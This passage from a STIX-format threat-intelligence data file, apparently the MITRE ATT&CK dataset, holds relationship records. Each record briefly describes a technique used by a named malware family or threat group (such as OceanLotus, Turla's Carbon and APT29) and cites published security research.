            "modified": "2019-07-17T01:18:32.763Z",
            "created": "2019-01-30T18:39:48.381Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "source_name": "TrendMicro MacOS April 2018"
                },
                {
                    "source_name": "Trend Micro MacOS Backdoor November 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html",
                    "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) scrambles and encrypts data using AES256 before sending it to the C2 server.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)",
            "id": "relationship--8bb51178-fa35-4441-99f3-f01fb305b03b",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-12-02T14:59:19.098Z",
            "created": "2019-01-30T19:18:20.134Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Denis April 2017",
                    "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/",
                    "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) collects OS information and the computer name from the victim\u2019s machine.(Citation: Securelist Denis April 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--2910f5f5-38d6-418a-8566-23d31b93b124",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.719Z",
            "created": "2019-01-30T20:01:45.460Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) can delete files.(Citation: Talos Konni May 2017)",
            "id": "relationship--432f7a25-5994-4f50-8b75-c62c674f27a7",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.304Z",
            "created": "2019-01-31T00:36:41.013Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                },
                {
                    "source_name": "Accenture HyperStack October 2020",
                    "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity",
                    "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) decrypts task and configuration files for execution.(Citation: ESET Carbon Mar 2017)(Citation: Accenture HyperStack October 2020)",
            "id": "relationship--848313af-f9c3-4b51-a24a-d2e88487ab53",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-12-03T21:11:50.718Z",
            "created": "2019-01-29T19:36:02.753Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) collects the user name from the victim\u2019s machine.(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--1547f28f-d6b7-43cc-8b89-0eaa524648b8",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-07-26T16:10:43.023Z",
            "created": "2019-01-29T19:55:48.181Z"
        },
        {
            "id": "relationship--68d41471-49c7-4210-8d9b-2958e95feb1a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can create a new service, naming it after the config information, to gain persistence.(Citation: Nccgroup Emissary Panda May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.847Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
                    "source_name": "TrendMicro Tropic Trooper Mar 2018"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has encrypted configuration files.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--86333028-9eb1-44a3-9a5a-51fffe66f0e1",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-05-21T12:59:00.609Z",
            "created": "2019-01-29T20:17:49.354Z"
        },
        {
            "id": "relationship--3a11eb81-545a-4153-8c3b-feb47db1f288",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADCALL](https://attack.mitre.org/software/S0245) encrypts C2 traffic using an XOR/ADD cipher.(Citation: US-CERT BADCALL)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT BADCALL",
                    "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"
                }
            ],
            "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-27T20:35:51.564Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9f852541-3fc7-4036-9268-7bc6bfe94900",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[EvilGrab](https://attack.mitre.org/software/S0152) uses port 8080 for C2.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."
                }
            ],
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform voice recording on the victim\u2019s machine.(Citation: Zscaler Cobian Aug 2017)",
            "id": "relationship--97d2fa02-bccc-43c3-8c1d-e3667b710e5e",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2019-04-23T21:09:54.680Z",
            "created": "2019-01-29T21:40:37.743Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can use mshta for executing scripts.(Citation: Unit42 Xbash Sept 2018)",
            "id": "relationship--2ed3ed76-7ebe-4371-a7e9-cc5a45ace915",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.445Z",
            "created": "2019-01-30T13:28:47.831Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--1ae53b90-59d3-4510-b0e8-686b7ea8e626",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-17T22:22:22.030Z",
            "created": "2019-01-30T13:53:14.920Z"
        },
        {
            "id": "relationship--02e4c930-ffc1-4bcb-a989-12db90671f90",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a copy of tor2web proxy for HTTPS communications.(Citation: synack 2016 review)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "synack 2016 review",
                    "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.",
                    "url": "https://www.synack.com/2017/01/01/mac-malware-2016/"
                }
            ],
            "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "relationship",
            "modified": "2020-01-17T19:44:36.672Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b039a79c-8df3-4e89-95ad-03d27b16a13c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) samples were timestomped by the authors by setting the PE timestamps to all zero values. [InvisiMole](https://attack.mitre.org/software/S0260) also has a built-in command to modify file times.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-17T00:09:26.255Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29 Nov 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell commands.(Citation: FireEye APT29 Nov 2018)",
            "id": "relationship--2bc72d2e-74c7-43da-a669-fffdfcd78186",
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2021-04-19T13:59:53.619Z",
            "created": "2019-01-30T14:19:17.699Z"
        },
        {
            "id": "relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.(Citation: ESET Sednit Part 1)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 1",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-01-17T22:22:30.782Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can decrypt the payload into memory, create a new suspended process of itself, then inject a decrypted payload to the new process and resume new process execution.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--202ed36b-9052-4464-b6a0-34258ba7a9ab",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.507Z",
            "created": "2019-01-30T15:19:14.997Z"
        },
        {
            "id": "relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Accenture Hogfish April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.320Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) uses SSL for encrypting C2 communications.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--e54282cb-8567-4c43-b6ab-3cfd0e52fb9a",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-20T23:02:35.181Z",
            "created": "2019-01-30T15:38:21.151Z"
        },
        {
            "id": "relationship--cf29f1f0-867f-4e08-9442-d10f75ec7702",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.901Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Lazarus Nov 2018",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."
                }
            ],
            "description": "[AuditCred](https://attack.mitre.org/software/S0347) can download files and additional malware.(Citation: TrendMicro Lazarus Nov 2018)",
            "id": "relationship--4d23c95c-366e-464c-b41c-64e48f4e166a",
            "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T16:06:56.348Z",
            "created": "2019-01-30T15:47:41.424Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) uses a secret key with a series of XOR and addition operations to encrypt C2 traffic.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--4d6a3a5b-58c2-4dab-8710-fe7e6b893f98",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.809Z",
            "created": "2019-01-30T16:39:54.436Z"
        },
        {
            "id": "relationship--3298bf92-55a2-49eb-aa5e-0530e8a51eeb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can identify logged in users across the domain and views user sessions.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-16T16:55:03.976Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec MuddyWater Dec 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.(Citation: Symantec MuddyWater Dec 2018)",
            "id": "relationship--8cecace8-2820-4489-b3e8-baf4b9f33ff3",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:33:36.223Z",
            "created": "2019-01-30T17:33:40.941Z"
        },
        {
            "id": "relationship--2a2b6def-5d29-41f7-b274-64bed33eb8ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dipsind](https://attack.mitre.org/software/S0200) can download remote files.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T00:54:45.774Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) can launch command-line shells.(Citation: McAfee Night Dragon)",
            "id": "relationship--dbf985a6-4e02-4f1f-a323-3169e4c3c9e0",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-18T15:39:16.662Z",
            "created": "2019-01-30T17:48:35.639Z"
        },
        {
            "id": "relationship--aabb13d6-a73b-42aa-8014-696b94ff2416",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can execute commands from its C2 server.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
